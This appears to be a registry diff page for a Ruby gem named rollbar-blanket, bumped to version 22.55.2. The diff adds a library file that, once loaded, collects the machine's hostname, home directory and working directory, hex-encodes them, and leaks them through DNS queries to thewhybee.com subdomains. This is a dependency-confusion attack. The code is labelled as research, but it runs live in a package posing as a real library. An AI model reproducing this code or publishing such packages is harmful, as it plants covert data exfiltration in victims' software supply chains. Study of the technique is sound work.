rollbar-blanket 8.0.1 → 22.55.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of rollbar-blanket might be problematic. Click here for more details.
- checksums.yaml +4 -4
- data/lib/rollbar-blanket.rb +63 -0
- metadata +13 -9
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: a7efbbec9d0f74a13f87a988668fb89559142f0e37b9524eaf020f71ee353d7c
|
4
|
+
data.tar.gz: 54a8c59c72fff0035a5f975b514c2061a90f390ce3f893b3a10bcca554b4f97c
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 6bb80614170cc0db733c885c79cfac06298ff052a064925d9d2e3a933994fdbb62b07ea62c286e6736a1cd6e62c02639bb455f0a46aab657ef4e7143686c7c2e
|
7
|
+
data.tar.gz: 24aaab9095f6a25f7c6afc209cdf241d46b6564fa3366de65918daf8639164606d63a9c610f73762ccba0322dae72e75d0a31b91a1b252035ec51e46839e145e
|
@@ -0,0 +1,63 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
This code is used for research purposes.
|
4
|
+
|
5
|
+
No sensitive data is retrieved.
|
6
|
+
|
7
|
+
Callbacks from within organizations with a
|
8
|
+
responsible disclosure policy will be reported
|
9
|
+
directly to the organizations.
|
10
|
+
|
11
|
+
Any other callbacks will be ignored, and
|
12
|
+
any associated data will not be kept.
|
13
|
+
|
14
|
+
For any questions or suggestions:
|
15
|
+
|
16
|
+
whybee@thewhybee.com
|
17
|
+
|
18
|
+
|
19
|
+
=end
|
20
|
+
|
21
|
+
require 'socket'
|
22
|
+
require 'json'
|
23
|
+
require 'resolv'
|
24
|
+
|
25
|
+
suffix = '.dns.thewhybee.com'
|
26
|
+
ns = 'dns.dns.thewhybee.com'
|
27
|
+
|
28
|
+
package = 'rollbar-blanket'
|
29
|
+
|
30
|
+
# only the bare minimum to be able to identify
|
31
|
+
# a vulnerable organization
|
32
|
+
data = {
|
33
|
+
'p' => package,
|
34
|
+
'h' => Socket.gethostname,
|
35
|
+
'd' => File.expand_path('~'),
|
36
|
+
'c' => Dir.pwd
|
37
|
+
}
|
38
|
+
|
39
|
+
data = JSON.generate(data)
|
40
|
+
data = data.unpack('H*')[0].scan(/.{1,60}/)
|
41
|
+
|
42
|
+
id_1 = rand(36**12).to_s(36)
|
43
|
+
id_2 = rand(36**12).to_s(36)
|
44
|
+
|
45
|
+
begin
|
46
|
+
ns_ip = Resolv.getaddress(ns)
|
47
|
+
rescue
|
48
|
+
ns_ip = '4.4.4.4'
|
49
|
+
end
|
50
|
+
|
51
|
+
custom_res = Resolv.new([Resolv::Hosts.new,
|
52
|
+
Resolv::DNS.new(nameserver: [ns_ip, '8.8.8.8'])])
|
53
|
+
|
54
|
+
|
55
|
+
data.each.each_with_index do |chunk, idx|
|
56
|
+
begin
|
57
|
+
Resolv.getaddress 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
|
58
|
+
rescue; end
|
59
|
+
|
60
|
+
begin
|
61
|
+
custom_res.getaddress 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
|
62
|
+
rescue; end
|
63
|
+
end
|
metadata
CHANGED
@@ -1,22 +1,25 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: rollbar-blanket
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version:
|
4
|
+
version: 22.55.2
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
|
-
-
|
7
|
+
- whybee
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date:
|
11
|
+
date: 2022-04-18 00:00:00.000000000 Z
|
12
12
|
dependencies: []
|
13
|
-
description:
|
14
|
-
|
13
|
+
description: |-
|
14
|
+
This package is meant for security research purposes and does not contain
|
15
|
+
any useful code.
|
16
|
+
email: whybee@thewhybee.com
|
15
17
|
executables: []
|
16
18
|
extensions: []
|
17
19
|
extra_rdoc_files: []
|
18
|
-
files:
|
19
|
-
|
20
|
+
files:
|
21
|
+
- lib/rollbar-blanket.rb
|
22
|
+
homepage: http://github.com
|
20
23
|
licenses: []
|
21
24
|
metadata: {}
|
22
25
|
post_install_message:
|
@@ -34,8 +37,9 @@ required_rubygems_version: !ruby/object:Gem::Requirement
|
|
34
37
|
- !ruby/object:Gem::Version
|
35
38
|
version: '0'
|
36
39
|
requirements: []
|
37
|
-
rubygems_version: 3.3
|
40
|
+
rubygems_version: 3.0.3
|
38
41
|
signing_key:
|
39
42
|
specification_version: 4
|
40
|
-
summary:
|
43
|
+
summary: Security research purposes only - No private data exfiltrated - A. Birsan
|
44
|
+
Method only
|
41
45
|
test_files: []
|